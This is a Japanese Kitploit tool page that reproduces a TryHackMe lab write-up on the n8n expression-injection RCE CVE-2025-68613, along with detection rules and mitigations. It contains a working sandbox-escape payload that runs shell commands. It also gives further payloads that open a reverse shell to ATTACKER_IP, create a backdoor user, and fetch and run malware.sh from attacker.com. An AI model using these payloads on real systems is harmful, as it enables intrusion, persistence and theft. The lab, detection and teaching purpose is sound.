Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
n8n-cve-2025-68613-thm | Kitploit
ツール/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド&コントロール学習と教育インシデントレスポンスペイロード開発ラボと実践
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

リポジトリを見る
17ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-68613 – n8n 重大 RCE 悪用

概要

このリポジトリは、n8n ワークフロー自動化プラットフォーム (バージョン 0.211.0 から 1.120.3) に影響を与える重大なリモートコード実行 (RCE) 脆弱性である CVE-2025-68613 (CVSS 9.9) の実践的な悪用を記録したものです。

この悪用は、教育目的のみで、管理された TryHackMe ラボ環境において倫理的に実施されました。


脆弱性の概要

フィールド値
CVE IDCVE-2025-68613
CVSS スコア9.9 (Critical)
公開日2025年12月19日
影響を受ける製品n8n Workflow Automation Platform
脆弱性の種類式インジェクション → サンドボックスエスケープ → RCE
攻撃ベクトル認証済みユーザー (デフォルト)
修正済みバージョン1.120.4, 1.121.1, 1.122.0+
影響を受けるバージョン0.211.0 - 1.120.3

n8n とは?

n8n は、ユーザーがアプリケーションやサービスを視覚的に接続してタスクを自動化できる、オープンソースのワークフロー自動化プラットフォームです。主な特徴は以下のとおりです:

  • ノードベースのワークフローアーキテクチャ: 各ノードはアクション (API リクエスト、データ処理、メールなど) を表します
  • 400 以上のネイティブ統合: さまざまな API やサービスへの事前構築済みコネクタ
  • コードノード: カスタム JavaScript または Python コードの実行
  • 式評価: {{ }} で囲まれた動的式を JavaScript として評価

デプロイメントモデル

  • セルフホスト型インスタンス (オンプレミスまたはプライベートクラウド)
  • クラウドホスト型 (n8n.cloud) マネージドサービス
  • 企業ネットワーク内の内部自動化ツール

技術的背景

脆弱性の連鎖

この脆弱性は n8n のワークフロー式評価システムに存在します。認証済みユーザーがワークフローを設定する際、その入力は適切なサンドボックス化なしに JavaScript コードとして処理されます。

コンテキスト昇格チェーン

root@kitploit:~
Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

主要な欠陥

  1. 安全でない式評価: {{ }} で囲まれたユーザー式が、適切なコンテキスト分離なしに生の JavaScript として評価される
  2. サンドボックスエスケープ: this オブジェクトへのアクセスにより、意図されたサンドボックス制限から脱出できる
  3. 無制限のモジュールアクセス: process.mainModule.require() により Node.js モジュールシステムへアクセスできる
  4. 危険なモジュールの読み込み: システムコマンド実行用に child_process モジュールを読み込める
  5. 実質的な認証保護なし: 認証済みユーザーであれば誰でもこの脆弱性を悪用できる

エクスプロイトペイロードの解説

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

解説:

  • this → Node.js のグローバルオブジェクト
  • this.process → Node.js のプロセスオブジェクト
  • process.mainModule → n8n アプリケーションのルートモジュール
  • .require('child_process') → システムコマンド実行モジュールを読み込む
  • .execSync('COMMAND') → シェルコマンドを同期的に実行
  • .toString() → Buffer 出力を読み取り可能な文字列に変換

悪用の手順

ステップ 1: 認証

脆弱な n8n インスタンスにアクセスし、有効な資格情報でログインします。

ラボの資格情報:

  • メール: [email protected]
  • パスワード: Try12345!

ログイン画面


ステップ 2: ウェルカム画面とワークフローの作成

ログイン後、ワークフロー作成インターフェースが表示されます。「Start from scratch」をクリックして新しいワークフローを開始します。

ウェルカム画面


ステップ 3: 手動トリガーの追加

「Add first step」をクリックし、「Manual Trigger」を検索します。このノードはワークフロー実行のエントリポイントとして機能します。

手動トリガーの設定

目的: Manual Trigger ノードは、UI の「Execute workflow」ボタンからワークフローを手動実行できるようにするため、テストに最適です。


ステップ 4: ワークフローの設定とフィールドマッピングの追加

フィールドマッピングを実行するために「Edit Fields」ノードを追加します。ここで脆弱性が悪用されます。

ワークフロー設定

設定手順:

  1. 「Add field」をクリックして新しいフィールドマッピングを追加します
  2. モードを「Expression」に設定します
  3. これにより JavaScript コードの評価が可能になります

ステップ 5: ID コマンドの実行

id コマンドを実行してユーザー/権限情報を取得するペイロードを注入します。

ペイロード:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

結果:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

ID コマンドの実行

取得された情報:

  • 非 root ユーザーとして実行中 (uid=1000)
  • グループメンバーシップ (gid=1000)
  • 潜在的な権限昇格経路

ステップ 6: LS によるファイルシステムの列挙

ペイロードを変更し、ls コマンドを実行してディレクトリの内容を一覧表示します。

ペイロード:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS コマンドの実行

出力に表示される内容:

  • フラグファイルが存在: flag.txt
  • ディレクトリ構造とファイル権限
  • 追加の偵察データ

ステップ 7: 機密データの抽出

cat コマンドを使用してフラグファイルを読み取り、悪用を完了します。

ペイロード:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

取得されたフラグ:

root@kitploit:~
THM{n8n_exposed_workflow}

フラグの抽出


高度な悪用手法

1. リバースシェル

持続的な制御のための対話型シェルアクセスを確立します:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. バックドアユーザーの作成

持続的なアクセスのために新しいシステムユーザーを追加します:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. 悪意のあるペイロードのダウンロード

リモートコードを取得して実行します:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. 権限昇格の列挙

sudo 権限を確認します:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. 環境の偵察

環境変数を抽出します:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

検知戦略

Web プロキシログ (Nginx)

分析のためにプロキシがリクエストボディをログに記録するよう設定します:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Sigma 検知ルール

ワークフロー API リクエストを介した悪用試行を検知します:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

プロセス生成の監視

n8n によって生成された不審な子プロセスを監視します:

  • 予期しない child_process の生成を監視
  • リバースシェル接続 (bash、nc) を監視
  • 不審なファイルのダウンロード/実行を追跡
  • 権限昇格の試行をアラート

ログの場所

  • n8n ログ: /root/.n8n/logs/
  • システムログ: /var/log/auth.log、/var/log/syslog
  • ワークフロー実行ログ: n8n データベース

侵害の痕跡 (IOC)

  • ワークフローのフィールドに含まれる不審な JavaScript 式:
    • process.mainModule
    • require('child_process')
    • execSync または spawn
  • 異常な child_process の実行
  • 予期しないワークフローの変更
  • 失敗したログイン試行の後のアクセス成功
  • 予期しないディレクトリでのファイルシステムの変更

悪用のタイムライン


緩和策と予防

即時対応

  1. n8n を修正済みバージョンに更新:

    • v1.120.4
    • v1.121.1
    • v1.122.0 以降
  2. ネットワークアクセスの制限

    • n8n へのアクセスを制限するファイアウォールルールを実装
    • 管理アクセスには VPN または踏み台ホストを使用
    • 必要でない場合は外部公開を無効化
  3. 強力な認証

    • 強力なパスワードを強制
    • 多要素認証 (MFA) を実装
    • 可能な場合は SSO 統合を使用
  4. 監視とロギング

    • すべての n8n アクティビティの詳細なロギングを有効化
    • ワークフローの変更をリアルタイムで監視
    • 不審な式に対するアラートを設定

長期的なセキュリティ対策

  1. 入力検証とサニタイズ

    • ユーザー入力をコードとして評価しない
    • 式のホワイトリスト化を実装
    • すべてのワークフロー定義をサニタイズ
  2. サンドボックスの実装

    • 式評価を制限付きサンドボックスで分離
    • Node.js API へのアクセスを制限
    • 分離には仮想マシンまたはコンテナを使用
  3. 最小権限の原則

    • n8n を必要最小限の権限で実行
    • ファイルシステムへのアクセスを制限
    • ネットワーク接続を制限
  4. コードレビューとセキュリティテスト

    • カスタムノードの定期的なセキュリティ監査
    • SAST/DAST ツールの導入
    • 脅威モデリング演習の実施

参考情報

  • n8n 公式ドキュメント
  • n8n セキュリティポリシー
  • Node.js Child Process モジュール
  • OWASP コードインジェクション
  • CWE-95: 動的に評価されるコードにおけるディレクティブの不適切な無害化
  • CVSS v3.1 計算機

ラボ情報

  • プラットフォーム: TryHackMe
  • ルーム: n8n: CVE-2025-68613
  • ルーム URL: https://tryhackme.com/room/n8ncve202568613
  • 難易度: 中級から上級
  • 学習目標: 式インジェクション、サンドボックスエスケープ、RCE、検知戦略

免責事項

このドキュメントは教育および権限付与されたセキュリティテストの目的のみで提供されています。記載されている悪用手法は、以下を対象としています:

  • 権限付与されたペネトレーションテスト
  • 管理された環境でのセキュリティ研究
  • TryHackMe ラボの練習
  • セキュリティ脆弱性の理解

コンピュータシステムへの不正アクセスは違法です。セキュリティテストを実施する前に、必ず適切な書面による許可を取得してください。


リポジトリ構成

root@kitploit:~
.
├── README.md                    # This file
├── exploitation-details.md      # Technical deep-dive guide
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

著者注記

この解説記事は、TryHackMe ラボ環境での CVE-2025-68613 の悪用成功を記録したものです。この脆弱性は、安全なコード評価の重要性と、自動化プラットフォームにおける不十分なサンドボックス実装の危険性を示しています。

この脆弱性を理解することは、攻撃側のセキュリティチームが同様の問題を特定し、防御側のチームがより効果的な検知戦略を開発するのに役立ちます。

ツールをダウンロード
ステップ操作時間
1n8n インスタンスにアクセス数秒
2ワークフローの作成/変更1 分未満
3フィールドマッピングノードの追加1 分未満
4id コマンドの注入と実行30 秒未満
5ls によるファイルシステムの列挙1 分未満
6cat によるデータの抽出30 秒未満
合計完全な RCE 悪用5 分未満